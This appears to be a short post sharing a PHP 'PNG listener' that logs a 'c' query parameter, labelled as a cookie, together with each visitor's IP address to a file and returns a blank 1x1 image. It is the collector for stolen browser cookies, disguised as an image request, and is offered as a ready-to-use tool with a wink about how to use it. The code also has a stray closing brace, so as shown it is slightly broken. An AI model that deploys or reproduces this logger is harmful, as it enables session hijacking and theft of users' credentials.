PNG Listener w/logger

This is an example of a simple PNG listener with a logging mechanism.
(Do I really have to explain how to use this?)

<?php
$cookie = $_GET["c"];
if ($cookie == "init")
{$file = fopen('001.txt', 'w');
fwrite($file, ":: 00* Logger:: \n");
}
else{
$file = fopen('001.txt', 'a');
fwrite($file, $_SERVER['REMOTE_ADDR']."=>".$cookie . "\n");
}
header("Content-type: image/png");
$im = imageCreate(1,1);
$background = imageColorAllocate($im, 255, 255, 255);
imagePNG($im);
imageDestroy($im);
}
?>

I developed this snippet while working on a solution for browser history leaks.